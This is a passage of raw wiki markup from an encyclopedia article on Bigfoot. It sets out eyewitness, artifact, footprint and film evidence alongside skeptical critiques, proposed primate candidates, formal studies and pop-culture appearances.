Critics suggest people may have mistaken bears for Bigfoot, as sightings are near habitats of [[bear]]s. However, the witnesses include experienced hunters and outdoorsmen, who claim to be familiar with bears, and insist that the creatures they saw were not bears. Biologist [[John Bindernagel]] argues there are marked differences between bears and Sasquatch reports that make confusion unlikely: &quot;In profile, the bear's prominent snout is markedly different from the Sasquatch flat face. In frontal view, the Sasquatch squarish shoulders contrast with the bear's tapered shoulders. The Sasquatch has relatively long legs that allow for a graceful stride, in contrast with the short-legged shuffles of a bear when it walks on its hind legs. A bear's ears are usually visible, while those of the Sasquatch are apparently hidden under long hair&quot; [http://www.rfthomas.clara.net/papers/binder.html]. Krantz made similar arguments (Krantz, 5).

===Problems with eyewitness reports===

As previously mentioned, Bigfoot sightings are near the habitats of bears, including the [[grizzly bear]]. Bears are large and furry and often stand up on their hind legs, leading to speculation that Bigfoot witnesses mistook bears for something more exotic.

It has also been suggested that the number of people reporting Bigfoot sightings could be explained by hoaxes or &quot;confusion&quot; about what they really encountered. Similarly, Napier wrote that however accurate and sincere witnesses might seem, &quot;eyewitness reports must be treated with considerable caution ... Although we don't always know what we see, we tend to see what we know&quot; (Napier, 19). He also adds, &quot;without checking possible (ulterior) motivations, they (eyewitnesses) cannot be acceptable as primary data&quot; (ibid, 198).

Bigfoot researchers claim that there are many sightings that pre-date the worldwide interest in the subject. It has, however, been suggested that such stories were either not reported until afterwards, or have little or no resemblance to typical Bigfoot sightings; researchers may be misinterpreting or selectively citing these accounts to support their own conclusions.

===Native American culture===

There are various Native American artifacts presented as circumstantial evidence for the existence of Sasquatch.

====Stone heads====

Pyle writes, &quot;Certain artifacts suggest that some Amerindians were acquainted with ''something'' having the visage of an [[ape]],&quot; and adds: &quot;several carved stone heads from the [[Columbia River]] basin&quot; (Pyle, 146). Pyle also notes that prominent paleontologist [[Othniel Charles Marsh]] wrote in 1877, &quot;Among the many stone carvings (from the Columbia) were a number of heads, which so strongly resemble those of apes that the likeness at once presents itself&quot; (ibid). Furthermore, the stone carvings are prehistoric (a conclusion supported by B. Robert Butler, who determined the heads as dating from [[Wakemap Middle Period]], 1500 BC to 200 AD (Halpin and Ames, 299), depicting &quot;prognathous, chinless faces with heavy brow ridges and in at least one case a sagittal crest.&quot; Pyle adds, &quot;relics do not prove that Bigfoot exists or that they (natives) had contact with apes, but they do raise some uncomfortable questions&quot; (Ibid, 146).

These artifacts are discussed at length by anthropologist [[Roderick Sprague]] in ''Carved Stone Heads of the Columbia and Sasquatch''.  Dozens of similar stone heads were recovered and most depict common animals. Sprague examines seven carved heads, which he argues have distinctively monkey- or ape-like features. Like Pyle, Sprague notes that this does not necessarily support Bigfoot's existence, but Sprague sees the question of what inspired the carved stone heads as intriguing and unresolved.

====Face masks====

In ''The Tsimshian Monkey Masks and Sasquatch'', anthropologist and ethnologist Marjorie Halpin describes two wood facemasks that were collected from the  [[Tsimshian]] and [[Nisga'a]] tribes (near [[Prince Rupert, British Columbia]]). One was obtained by Lieutenant G.T. Eammons in about 1914, and the other was obtained by C.M. Barbes in 1927. 

Eammons described the artifact as &quot;a mythical being found in the [[woodland|woods]], and called today as a [[monkey]]&quot; (Haplin and Ames, 211). Halpin also reports that physical anthropolgist R.D.E. MacPhee examined the Eammons mask and noted that it had both monkey- and ape-like features, but could not match it exactly to any recognized species (ibid, 212). Halpin details the elaborate mask-related folklore and rites pertaining to a creature called &quot;pi'kis,&quot; which has both human and animal traits (especially connected to [[otter]]s). He also describes the creature as occupying a &quot;dangerously close intersection between human and animal&quot; in native lore (ibid, 225). As with the carved stone heads, Halpin notes that these monkey-like masks alone do not prove that Sasquatch are real; rather, they are curious artifacts which warrant further investigation.

===Problems with Native American culture as evidence===

Jerome Clark offers a skeptical perspective of Native American legends which are sometimes presented as evidence to support Bigfoot's existence, writing: &quot;...such beliefs are usually taken out of context and selectively cited ... Comparable monsters loom large in a number of North American Indian mythologies; they warn members of violating [[taboo]]s and serve other, more complex functions within tribal societies&quot; (Clark, 28).

In the article, &quot;On the Cultural Track of Sasquatch&quot;, Wayne Suttles offers a detailed examination of such legends, cited from various Pacific northwest tribes, including tales from the [[Salish]], [[Lummi]], [[Samish]] and [[Klallam]] peoples. Suttles confirms the often-repeated observation that none of the groups makes &quot;real/mythical or natural/supernatural dichotomy&quot; (Sprague and Krantz, 43). However, Suttles concludes that rather than being inspired by a real creature, &quot;It seems more likely that these beliefs have grown out of several sources and have been maintained in several ways. One of the sources may have been a real man-like animal. But I must reluctantly admit that as I have presented data and organized arguments, I have found its track getting fainter and fainter&quot; (ibid, 71).

===Physical evidence===

Bigfoot researchers make numerous claims that there is physical evidence for the creature's existence. Such evidence has seen, at best, minimal and scattered interest from mainstream experts, and are regarded as far from conclusive.

====Footprints====

&lt;!-- Unsourced image removed: [[Image:Bigfoot footprint.jpg|frame|right|A 40 to 50 cm imprint discovered in [[Mawai]], [[Kota Tinggi]], [[Johor]], which is alleged to be a footprint.]] --&gt;

=====Forensics=====

[[Photograph]]s or plaster casts of presumed Sasquatch footprints are often cited by cryptozoologists as important evidence. Krantz writes that &quot;the push-off mound in midfootprint is one of the most impressive pieces of evidence to me&quot; (Krantz, 36). This is a small mound of soil created &quot;by a horizontal push of the forefoot just before it leaves the ground&quot;, present in some alleged Sasquatch tracks (ibid). Krantz argues that neither artificial wood nor rubber Sasquatch feet can create this convincing feature, as he discovered after many attempts.

Krantz notes, &quot;The comfortable walking step for humans is about half the individual's standing height, or a trace more. Sasquatch step measurements correspond, in general, to stature estimates that are reported from sightings&quot; (Krantz, 22). Krantz also reports that reputed Sasquatch steps are &quot;in excess of three feet&quot; (Krantz, 21), arguing that this enormous step would be difficult or impossible for hoaxers to create artificially.

Coleman and Clark write that there are some footprint hoaxes, but argue that they are often clumsy in comparison to presumably genuine prints, which &quot;show distinctive [[Forensics|forensic]] features that to investigators indicate they are not fakes&quot; (Coleman and Clark, 42). Similarly, Krantz notes, &quot;Toe positions can and do vary from one imprint to another of the same foot. We have several clear examples of this. It is my impression that sasquatch toes are more mobile than those on civilized human feet,&quot; and that hoaxing this detail would require detailed anatomical knowledge, as well as dozens or hundreds of different casts for each set of Bigfoot tracks, making a hoax unlikely (Krantz, 23).

=====Gaussian curve=====

Researcher Henry Franzoni writes, &quot;A strong piece of evidence which suggests that the footprints are not due to a hoax or hoaxers is from Dr. W. Henner Farenbach. He has studied a database of 550 track cast length measurements and has made some preliminary observations... The [[Gaussian]] distribution of the 550 footprint lengths gives a curve that is very similar to the curve given by living populations of known animals without much [[sexual dimorphism]] in footprint length. The standard error is very low, so additions to the database will not affect the result very much. It is not very likely that coordinated groups of hoaxers conspiring together for 38 years (the time span covered by the database of track measurements) could provide such a 'life-like' distribution in footprint lengths. Groups of hoaxers who did not conspire together would almost certainly result in a non-Gaussian distribution for the database of footprint lengths&quot; [http://www.rfthomas.clara.net/papers/faq.html#q1].

Similarly, in ''Population Clines of the North American Sasquatch as Evidenced by Track Length and Average Status'', anthropologist George Gill writes, &quot;The preliminary results of our study support the hypothesis that Sasquatch actually exists ... not only seem to exist, but conform to ecogeographical rules&quot; (Halpin and Ames, 272).

=====Deformity=====

A series of alleged Bigfoot tracks found near [[Bossburg, Washington]], in 1969 appeared to show that the creature's right foot was affected by [[clubfoot]]. The deformed footprints are consistent with genuine disfigurement, and some argue that a hoax is unlikely. John Napier wrote of this case, &quot;It is very difficult to conceive of a hoaxer so subtle, so knowledgeable; and so sick; who would deliberately fake a footprint of this nature. I suppose it is possible, but it is so unlikely that I am prepared to discount it&quot; [http://www.rfthomas.clara.net/papers/cripplefoot.html]. Krantz declared that &quot;analysis of the apparent anatomy of these tracks proved to be the first convincing evidence... that the animals were real&quot; (Krantz, 54).

====Handprints====

As another argument offered for the existence of Bigfoot, Krantz cited two alleged Sasquatch handprints taken from northeastern Washington in the summer of 1970. He claims the prints were of a left hand, showing a very broad, flat palm (more than twice as broad as Krantz' own larger-than-average hands) with stubby fingers, lacking an [[opposable thumb]]. Krantz writes that the prints have &quot;many irregularities ... which cannot be identified in terms of human anatomy&quot; (Sprague and Krantz, 118).

Another pair of alleged handprints was recovered in the late 1980s by [[Paul Freeman (cryptozoologist)|Paul Freeman]] and given to Krantz for analysis; for similar reasons, Krantz judged them genuine (Krantz, 47-51).

====Fingerprints====

Several alleged Bigfoot hand and foot impressions said to contain dermal ridges ([[fingerprint]]s) have been discovered; fingerprints are present only on humans and other primates. 

Krantz reports that he offered casts of these prints to &quot;more than forty&quot; law enforcement fingerprint specialists across Canada and the United States for study.  The reactions that he received ranged from &quot;'very interesting' and 'they sure look real' to 'there is no doubt these are real.' The only exception was the [[Federal Bureau of Investigation]] expert who had said something to this effect, 'The implications of this are just too much; I can't believe it's real'&quot; (Krantz, 71).

Krantz offered these same casts to [[Physical anthropology|physical anthropologists]] and [[primatologist]]s. Conclusions were similarly varied, with several ruling them hoaxes. [[Tim White (anthropologist)|Tim White]], unlike most respondents, said there was &quot;no good reason to reject them&quot; (ibid). Opinion remains divided, however, with suggestions that the man who allegedly discovered the prints had confessed to other hoaxes [http://www.n2.net/prey/bigfoot/articles/skeptical.htm].

One of the casts with visible fingerprints showed what Krantz took to be [[sweat]] pores. Krantz reports that &quot;police expert Benny Kling ... commented that anyone who could engrave ridge detail of such quantity and quality should be making [[counterfeit]] money&quot; (Krantz, 77). This same print showed [[dysplasia]], a common minor irregularity. Krantz writes, &quot;The late Robert Olson was particularly impressed with this irregularity, as was Ed Palma of the [[San Diego]] Police Department&quot; (ibid).

====Body cast====

The so-called [[Skookum Body Cast]] was collected in the summer of 2000, and researchers argue that it could be the impression of a Sasquatch. Prominent primate expert [[Daris Swindler]] said, &quot;In my opinion the impression is not made by a [[deer]], a bear or an [[Red Deer|elk]] nor was it made artificially. The Skookum body cast is that of an unknown hominoid primate&quot;.

====Hair and feces====

In ''Analysis of Feces and Hair Suspected to be of Sasquatch Origin'', anthropologist Vaughn M. Bryant Jr. and ecologist Burleigh Trevor-Deutch report the analysis of six alleged Bigfoot hairs recovered near [[Riggins, Idaho]]. Roy Pinker, a police science instructor at [[California State University, Los Angeles]] offered his opinion that &quot;the hairs did not match specimens from any known animal species and that they had some characteristics common to both humans and nonhumans&quot; (Halpin and Ames, 296). Note, though, that this analysis did not involve [[DNA testing]].

===Problems with physical evidence===

'''Absence of fossil evidence''':

Critics think it significant that the [[fossil]] record provides no support for Sasquatch. There is ample fossil evidence in North America of prehistoric species of bear, [[cougar]], [[moose]] and  [[mammoth]]. Yet, aside from clearly human remains, there is no evidence of a prehistoric hominid or any other North American primate. A skeleton, or even a bone of a huge primate, if discovered, could not be mistaken as coming from any other North American mammal. No one has found [[coproliths]] (fossilized dung) from a Bigfoot.

Bigfoot researchers argue that the absence of fossilized evidence is not evidence of fossil absence. Sasquatch is not represented in the fossil record, but neither are [[gorilla]]s nor [[chimpanzee]]s. Coleman and Patrick Huyghe note that &quot;no one will look for such fossils, if the creatures involved are not thought to exist in the first place. But even with recognized [[primate]]s, fossil finds are usually meager at best&quot; (Coleman and Huyhge, 162). However, it is worth noting that gorillas, chimpanzees and most other primates, live in tropical rainforests where conditions are unsuitable to create fossils, and in areas where few or no archeological studies were undertaken. In contrast, there are thousands of known remains of native American mammals and humans.

As to the lack of Bigfoot remains, Krantz suggested that this alone is not a valid argument against the creature's actuality. Noting that most animals hide before they die and are then quickly lost to [[scavenger]]s, he writes, &quot;I have yet to meet anyone who has found the remains of a bear that was not killed by human activity.&quot; (Krantz, 10) Fossilization also requires &quot;ideal&quot; conditions, such as being covered by a landslide, mudslide, or other deposit soon after death so that mineralization can take place on an undisturbed carcass.

'''Inconclusive analysis''':

Most scientists find that the physical evidence, cited as supporting the existence of Bigfoot, has been ambiguous at best, or hoaxes at worst. There have been no dead bodies, bones or artifacts. There have been reported samples of fur and feces, but aside from the hair analysis by Dr. Rosen, none have been ruled conclusively (or by multiple authorities) as originating from any unknown animal. Some reputed Bigfoot samples, studied using DNA testing, were judged to have come from common animals; one such case earned press attention in  mid-2005, but the alleged Bigfoot hairs were ruled by [[University of Alberta]] geneticist David Coltman to have come from a [[bison]], as related in this [[MSNBC]] story. [http://msnbc.msn.com/id/8704462] Other hair samples did not contain the hair follicle, so no DNA analysis was possible.

===Audio and visual evidence===

'''Audio''':

Analyses of purported Sasquatch vocalizations have been recorded and analyzed, leading [[bioacoustics]] expert Dr. Robert Benson of [[Texas A&amp;M University]] to report that some recordings &quot;left him puzzled&quot;, and helped change his opinion &quot;from being a raving skeptic to being curiously receptive&quot; [http://www.usatoday.com/news/nation/2002-10-31-bigfoot-cover_x.htm].

'''Visual''':

On October 20, 1967, Roger Patterson and Robert Gimlin captured a hairy, bipedal Bigfoot-type figure on film. There is much debate as to whether the creature in the [[Patterson-Gimlin film]] is genuine. Krantz was in the minority in his conviction that the film was proof of Bigfoot's existence. He argued that you could not have a man in an ape suit unless &quot;you broke his arms and placed a new hinge in them&quot;. He claimed the human body was not built that way and it would be physically impossible to &quot;fake&quot; a film like this. Pyle, while not endorsing the film as authentic, wrote that it &quot;has never been convincingly debunked&quot; (Pyle, 208).

The Patterson-Gimlin film shows a creature that is definitely not a bear, and this film was for a long time considered the strongest evidence for Bigfoot. However, Wallace claimed to have been involved in hoaxing the film, and opinions remain divided as to the film's authenticity. Many experts have judged it as a hoax, Napier among them. In late 2005 the film was stabilized to make the action clearer. It can be seen [http://www.bigfootencounters.com/files/mk_davis_pgf.gif here], and some say it clearly shows the action of a man walking. See [[Patterson-Gimlin film]] for further information.

===Problems with audio and visual evidence===

Critics note that most audio and/or visual evidence is often of poor quality, making analyses troublesome or even worthless.

===Psychological explanations===

Arguing against the existence of Bigfoot, anthropologist David Daegling suggests that Sasquatch fills a basic human need for mysteries and monsters.

===Hoaxes===

The fact that many Bigfoot sightings have been proven to be hoaxes suggests to some that others may also have been. For example, Jerome Clark argues that the &quot;Jacko&quot; affair, involving an 1884 newspaper report of an ape-like creature captured in British Columbia (details below), was a hoax. Citing research by John Green, who uncovered the fact that several other contemporary British Columbia newspapers regarded the alleged capture as most dubious, Clark notes that the [[New Westminster, British Columbia]] ''Mainland Guardian'' wrote, &quot;Absurdity is written on the face of it&quot; (Clark, 195).

Wallace claimed to have produced a substantial amount of hoaxed evidence from 1958 onward in a prank that continued beyond his expectations. Wallace's family published many of the details following his death in 2002, and critics have offered this confession as evidence against Bigfoot's existence, despite many marked inconsistencies in the testimonies of family members.

===Arguments against the hoax explanation===

Primatologist [[John Napier (primatologist)|John Napier]] acknowledges that there have been some hoaxes but also claims that hoaxing is often an inadequate explanation. Krantz argues that &quot;something like 100,000 casual hoaxers&quot; would be required to explain the footprints (Krantz, 32-34).

As noted above, Wallace claimed to have begun the modern Bigfoot phenomenon in 1958 by using phony foot casts to leave Bigfoot prints in Humbolt County, California. His family received major press attention in 2002 when they detailed what they said were Wallace's claims. Bigfoot supporters deny their claims. One writer, for example, argues: &quot;The wooden track stompers shown to the media by the Wallace family do not match photos of the 1958 tracks they claim their father made. They are different foot shapes.&quot; [http://www.bfro.net/news/Wallace.asp]

==Conclusion==

===Mainstream response===

'''Skeptics''':

Mainstream scientists and academics generally &quot;discount the existence of Bigfoot because the evidence supporting belief in the survival of a prehistoric, bipedal, ape-like creature of such dimensions is scant&quot; [http://skepdic.com/bigfoot.html]. Furthermore, the issue is so muddied with dubious claims and outright hoaxes that many scientists do not give the subject serious attention. Napier wrote that the mainstream scientific community's indifference stems primarily from &quot;insufficient evidence ... it is hardly unsurprising that scientists prefer to investigate the probable rather than beat their heads against the wall of the faintly possible&quot; (Napier, 15). Anthropologist David Daegling echoed this idea, citing a &quot;remarkably limited amount of Sasquatch data that are amenable to scientific scrutiny.&quot; (Daegling, 61) He also suggests mainstream skeptics should take a proactive position &quot;to offer an alternative explanation. We have to explain why we see Bigfoot when there is no such animal&quot; (ibid 20). While he does have some pointed criticism for mainstream science and academia, Krantz concedes that while &quot;the Scientific Establishment generally resists new ideas ... there is a good reason for it ... Quite simply put, new and innovative ideas in science are almost always wrong&quot; (Krantz, 236). 

A species cannot exist as a single individual, as there must be enough numbers for a breeding population. Every remote area of California, Washington, Oregon and British Columbia are examined by prospectors, hunters, dogs, loggers, biologists, fishermen, and so on. A real population of creatures this size, it is argued, would have had a lot more contacts with people. 

'''Proponents''':

Although most scientists find current evidence regarding Bigfoot unpersuasive, a number of prominent experts, however, have spoken out on the subject, offering sympathetic opinions.

In a 2003 ''[[The Denver Post|Denver Post]]'' article, [[Jane Goodall]] said, &quot;People from very different backgrounds and different parts of the world have described very similar creatures behaving in similar ways and uttering some strikingly similar sounds ... As far as I am concerned, the existence of hominids of this sort is a very real probability&quot; [http://www.denverpost.com/Stories/0%2C1413%2C36~53~1089877%2C00.html]. The same article cites several other prominent scientists who have expressed at least a guarded interest in Sasquatch reports: [[George Schaller]], [[Russell Mittermeier]], [[Daris Swindler]] and [[Esteban Sarmiento]].

Prominent anthropologist [[Carleton S. Coon]] wrote ''Why the Sasquatch Must Exist'' during his life, but was published after he died. He wrote, &quot;Even before I read [[John Green]]'s book ''Sasquatch: The Apes Among Us'', first published in 1973, I accepted Sasquatch's existence&quot; (Markotic and Krantz, 46). Coon examines the question from several angles, stating that he is confident only in ruling out a [[relict]] [[Neanderthal]] population as a viable candidate for Sasquatch reports.

As noted above, Napier generally argued against Bigfoot's reality, but he also argued that some &quot;soft evidence&quot; (eyewitnesses, footprints, hair and droppings) is compelling enough that he advises against &quot;dismissing its reality out of hand&quot; (Napier, 197). 

Krantz and others have argued that a [[double standard]] is applied by many academics to Sasquatch studies: When a claim is made or evidence is presented alleging that Sasquatch is genuine, enormous scrutiny is applied to the claim or evidence, as well as it should be. Yet when individuals claim to have hoaxed Bigfoot evidence, their claims are often quickly accepted, though they typically lack corroborative evidence.

In 2004, Henry Gee, editor of the prestigious ''[[Nature (journal)|Nature]]'', argued that creatures like Bigfoot deserved further study, writing, &quot;The discovery that ''[[Homo floresiensis]]'' survived until so very recently, in geological terms, makes it more likely that stories of other mythical, human-like creatures such as [[Yeti]]s are founded on grains of truth ... Now, cryptozoology, the study of such fabulous creatures, can come in from the cold&quot; [http://www.nature.com/news/2004/041025/full/041025-2.html].

==Proposed creatures==

Various types of creature have been proposed by proponents to explain the sightings.

===''Gigantopithecus''===

Krantz argued that a relict population of ''[[Gigantopithecus blacki]]'' was the most likely candidate to explain Bigfoot reports. Based on his analysis of its jaws, he championed a view that ''Gigantopithecus'' was bipedal.

Bourne writes that ''Gigantopithecus'' was a plausible candidate for Bigfoot since most ''Gigantopithecus'' fossils had been recovered from China, and also that extreme eastern [[Siberia]] has forests similar to northwestern North America. Many recognized animals were known to have migrated across the [[Bering Strait]], so it was not an unreasonable notion that ''Gigantopithecus'' could have as well. &quot;So perhaps,&quot; Bourne writes, &quot;''Gigantopithecus'' is the Bigfoot of the [[Americas|American continent]] and perhaps he is also the Yeti of the [[Himalaya]]s&quot; (Bourne, 296).

This ''Gigantopithecus'' hypothesis is generally considered ''highly'' speculative. Rigorous studies of the existing fossilized remains seem to indicate that ''G. blacki'' is the common ancestor of two [[quadruped]]al [[genus|genera]], represented by ''[[Sivapithecus]]'' and the [[orangutan]] (''Pongo''). Given the mainstream view that ''Gigantopithecus'' was a quadruped, it seems most unlikely that it could be an ancestor to a biped, as Bigfoot is said to be. Furthermore, it has been argued that ''G. blacki''s enormous mass would have made it difficult for it to adopt a bipedal gait. However, an analysis of the famous Patterson-Gimlin film shows that frames 369, 370, 371, and 372 all show a slender lower mandible, that does not match the massive lower mandible of ''Gigantopithecus blacki'', which, assuming that the Patterson-Gimlin film is legitimate, would eliminate
''G. blacki'' as a candidate for Bigfoot. (Bigfoot Coop Newsletter, March 1997, also the documentary ''[[Sasquatch: Legend Meets Science]]'').

===''Paranthropus''===

If an animal like Sasquatch has ever existed in North America, it has been argued that a likely candidate would be a species of ''[[Paranthropus]]'', such as ''[[Paranthropus robustus]]'', which would have looked very much like Sasquatch, including the crested skull and naturally bipedal gait. This was suggested by Napier and by anthropologist Gordon Strasenburg.

===''Meganthropus''===

There is also a little known subspecies of the ''[[Homo erectus]]'', called ''[[Meganthropus]]'', which reputedly grew to enormous proportions, though most recent remains of the hominid are [[Lower Paleolithic|more than 1 million years old]], and are only to be found several thousand miles away from North America.

===Alternative theories===

Some researchers have suggested that Bigfoot is not a normal flesh-and-blood creature at all, but rather a &quot;trans-dimensional&quot; entity that can pass through [[wormhole]]s and enter our universe for short periods of time. Other researchers have proposed a connection between Bigfoot sightings and [[UFO]] activity, implying that Bigfoot may be of [[extraterrestrial]] origin. Indeed, reports of Bigfoot-like creatures have been made in connection with UFOs on several occasions. The majority of those involved in Bigfoot studies, however, strongly reject any [[paranormal]] explanations.

==Formal studies of Bigfoot==

There have been a limited number of formal scientific studies of Bigfoot or Sasquatch.

===1950s===

[[Bernard Heuvelmans]]’s 1955 [[magnum opus]], ''On The Track of Unknown Animals'', did not specifically discuss Bigfoot, but did discuss Yeti accounts and is often seen as the root of cryptozoology.

===1960s===

[[Ivan T. Sanderson]]’s articles on mysterious animals, some appearing in the ''[[Saturday Evening Post]]'', as well as his book ''Abominable Snowmen: Legend Comes To Life'' (ISBN 051504444X) that went through several printings, were aimed at popular audiences. Coleman and Clark write that the 525-page volume &quot;remains a useful reference book&quot; (Coleman and Clark, 212), while Krantz characterizes Sanderson’s writing as &quot;'enthusiastic' ... reporting data from a variety of sources with what seemed  to be little concern for consistency or verification,&quot; an approach which &quot;certainly lowered his credibility in the eyes of the few scientists who read his work&quot; (Krantz, 1).  Sanderson’s book remains notable as perhaps the first book-length survey of enigmatic &quot;hairy hominids&quot;, and certainly helped popularize Yeti, Bigfoot and other mysterious primates, reported worldwide. Ivan T. Sanderson is also credited for interviewing Roger Patterson and Bob Gimlin four months after the filming of the [[Patterson-Gimlin film]] in 1968 February issue of ''Argosy'' magazine. In his last year of life, Sanderson gave up on conventional explanations and adopted a paranormal view of Bigfoot. (''Pursuit Magazine,'' 1980)

==='''1970s===

Perhaps, the first mainstream scientific study of available evidence was by Napier. ''Bigfoot: The Yeti and Sasquatch in Myth and Reality'' (ISBN 0525066586) offers an even-handed and sympathetic examination. While giving high marks to some earlier researchers (&quot;Ivan T. Sanderson and John Green and [[René Dahinden]]... have made a far better job of recording the major events of the sasquatch saga than I could ever hope to do.&quot; (Napier, 73)), Napier wrote that if we are to form a conclusion based on scant extant &quot;'hard' evidence,&quot; science must declare &quot;Bigfoot does not exist&quot; (ibid, 197). 

Yet this conclusion is qualified, as Napier seemed willing to leave the question unresolved. He found it difficult to entirely reject thousands of alleged tracks, &quot;scattered over 125,000 square miles” or to dismiss all &quot;the many hundreds&quot; of eyewitnesses. He also adds that &quot;if ''one'' track is genuine and ''one'' report is true-bill, then myth must be chucked out the window and reality admitted through the front door&quot; (ibid, 203). In the end, Napier writes, &quot;I am convinced that Sasquatch exists, but whether it is all it is cracked up to be is another matter altogether. There must be ''something'' in north-west America that needs explaining, and that something leaves man-like footprints.&quot; (ibid, 205) Decades later, Krantz suggests that Napier &quot;stuck his neck out a lot further than most primatologists by writing a book about hairy bipeds in which he took the subject quite seriously&quot; (Krantz, 240).

In 1974, the [[National Wildlife Federation]] funded a field study, seeking Bigfoot evidence. No formal federation members were involved, and the study made no notable discoveries (Bourne, 295).

The 1975’s ''The Gentle Giants: The Gorilla Story'' (ISBN B0006CJNPU) was co-authored by Geoffrey H. Bourne, another noted primatologist.  Its final chapter is a brief summary of various mystery primate reports worldwide. Like Napier, he laments the dearth of physical evidence, but Bourne does not dismiss Sasquatch or Yeti as impossible.

From May 10-13, 1978, the [[University of British Columbia]] hosted a [[symposium]], ''Anthropology of the Unknown: Sasquatch and Similar Phenomena, a Conference on Humanoid Monsters''. Presented, were 35 papers (abstracts collected in Wasson, 141-154). Most attendees came from anthropology backgrounds, and Pyle writes that the conference &quot;brought together twenty professors in various fields, along with several serious laymen, to consider the [[mythology]], [[ethnology]], [[ecology]], [[biogeography]], [[physiology]], [[psychology]], [[history]] and [[sociology]] of the subject. All took it seriously, and while few, if any, accepted the existence of Sasquatch outright, they jointly concluded 'that there are not reasonable grounds to dismiss all the evidence as misinterpretation or hoax'&quot; (Pyle, 186).

Following this modest peak in interest in the late 1970s, there has been little formal academic interest in the subject; many experts see further study as a waste of time. In more recent years, Krantz achieved a degree of notoriety as probably the leading accredited expert to devote considerable effort to the subject, though a few professionals have followed in his footsteps. Few have endorsed Krantz’ conclusions that Sasquatch is a real creature, but at the very least, such supporters argue that serious studies on the subject deserve fair consideration.

===1980s===

Some papers presented at the symposium were collected in 1980 as ''Manlike Monsters on Trial: Early Records and Modern Evidence,'' edited by Marjorie Halpin and [[Michael Ames]].  

===1990s===

It’s worth noting that Pyle's ''Where Bigfoot Walks: Crossing the Dark Divide'' (ISBN 0395857015), as much a survey of Bigfoot’s cultural impact as of the likelihood of the creature’s reality, was researched and written with a grant from the [[Guggenheim Foundation]]. Pyle, author of ''Wintergreen'', the acclaimed [[1987]] requiem for the forests of Washington's [[Willapa Hills]], had well established his credentials as a scientist and nature writer.  

1997 - Italian mountaineer, [[Reinhold Messner]], claimed to have come face to face with a Yeti. He has since written a book, ''My Quest for the Yeti: Confronting the Himalayas' Deepest Mystery'' (ISBN 031227078X), in which he argues that the Yeti was actually an endangered [[Himalaya]]n [[brown bear]] that can walk upright or on all fours.

===2000s===	

Reported sightings of three giant human-like creatures in the [[Endau Rompin National Park]] in late 2005 led to the formation of an official Bigfoot-tracking team, appointed by the state's Chief Minister, Abdul Ghani Othman in January of 2006. &quot;Bigfoot&quot; fever struck Johor after three fishermen reported seeing the creatures and took a photograph of a footprint, which was printed in Malaysian newspapers. [http://www.hamiltonspectator.com/NASApp/cs/ContentServer?pagename=hamilton/Layout/Article_Type1&amp;c=Article&amp;cid=1140824435846&amp;call_pageid=1020420665036&amp;col=1112188062620]

==Bigfoot in popular culture==

Whether it is a real creature or not, Bigfoot has had a demonstrable impact as a [[culture|cultural]] phenomenon. 

'''Advertising''':

The meanings of the words, &quot;Bigfoot&quot; or &quot;Sasquatch&quot;, are quickly understood by most individuals (at least in North America) and have been used in [[advertising]] and applied to many products or services, such as pizzas, skateboards, skis, an Internet search engine, computer hard drive series, gas station, Kokanee beer, and a monster truck.

'''Movies and television''':

A number of feature length [[motion picture]]s have been produced featuring Bigfoot as a central character.

* ''Bigfoot'' (1970) [http://www.imdb.com/title/tt0065470/]
* ''Curse of Bigfoot'' (1976) [http://www.imdb.com/title/tt0074365/]
* ''Sasquatch, the Legend of Bigfoot'' (1977) [http://www.imdb.com/title/tt0078203/]
* ''Snowbeast'' (1977) [http://www.imdb.com/title/tt0076731/]
* ''The Capture of Bigfoot'' (1979) [http://www.imdb.com/title/tt0124307/]
* ''Revenge of Bigfoot'' (1979) [http://www.imdb.com/title/tt0197820/]
* ''Bigfoot (1987)'' [http://www.imdb.com/title/tt0092657/]
* ''[[Harry and the Hendersons]]'' (1987) [http://www.imdb.com/title/tt0093148/]
* ''Little Bigfoot'' (1997) [http://www.imdb.com/title/tt0119544/]
* ''Little Bigfoot 2: The Journey Home'' (1997) [http://www.imdb.com/title/tt0119545/]
* ''Sasquatch Hunters'' (1997) [http://www.imdb.com/title/tt0197851/]
* ''Ape Canyon'' (2002) [http://www.imdb.com/title/tt0398696/]
* ''The Untold'' (2002) [http://www.imdb.com/title/tt0265944/]
* ''Sasquatch Hunters'' (2005) [http://www.imdb.com/title/tt0339531/]
* ''The Unknown'' (2005) [http://www.imdb.com/title/tt0364616/]
* ''The Legend of Sasquatch'' (2006) [http://www.imdb.com/title/tt0491027/]
* ''The Sasquatch Dumpling Gang'' (2006) [http://www.imdb.com/title/tt0460925/]
* ''Bigfoot'' (nd) - an upcoming adaptation of the comic (see below)

''[[Harry and the Hendersons]]'' was followed by a short-lived television series.  ''Bigfoot and Wildboy'' was a recurring segment in the 1970's children's program ''The Krofft Supershow'' produced by [[Sid and Marty Krofft]]. It has been suggested that the [[Wookiee]] race from ''[[Star Wars]]'' resembles Bigfoot and is probably inspired by the legendary creature. Wookiees, in particular the character [[Chewbacca]], have made cameo appearances on ''[[The Simpsons]]'' and ''[[South Park]]''.   Sasquatch or Bigfoot appeared in three instances in the television series, ''[[The Six Million Dollar Man]]'', in the form of an indigenous (Terran) life form that a friendly alien scientist enhanced with neosynthetic limbs (''i.e.'' bionics), and served as a guardian for their peaceful observations of the Earth. Sasquatch's ultimate disposition, after the aliens left the planet, was a gradual transition of his neosynthetics back to natural biology. See also the movie/documentary ''[[The Legend of Boggy Creek]]''. 

'''Literature''':

Many have written on the subject, demonstrating a broad spectrum of approaches from lurid [[tabloid]]s to a small body of serious scholarly work. The ''[[Weekly World News]]'' occasionally runs a story on the mysterious creature. There have been several Bigfoot-related novels (such as ''[[Monster (novel)|Monster]]'', which describes the capture of a woman by a group of bigfoot, later revealed to be the products of a science experiment). In the [[comics]] world there has been a [[Marvel Comics]] character named [[Sasquatch (comics)|Sasquatch]] and a four issue series of comics  by [[Steve Niles]] called ''Bigfoot'', which has now been optioned for a movie [http://www.fangoria.com/news_article.php?id=5429].

'''Conventions''':

There are annual Bigfoot-related conventions, and the creature plays a role in Pacific Northwest tourism, such as the annual &quot;Sasquatch Daze&quot; in [[Harrison Hot Springs, British Columbia]]. Napier writes,  &quot;Bigfoot in some quarters of [[North America]] has become big business ... It can no longer be considered simply as a natural phenomenon that can be studied with the techniques of a naturalist; the entrepreneurs have moved in and folklore has become fakelore&quot; (Pyle, 160).

'''Law''':

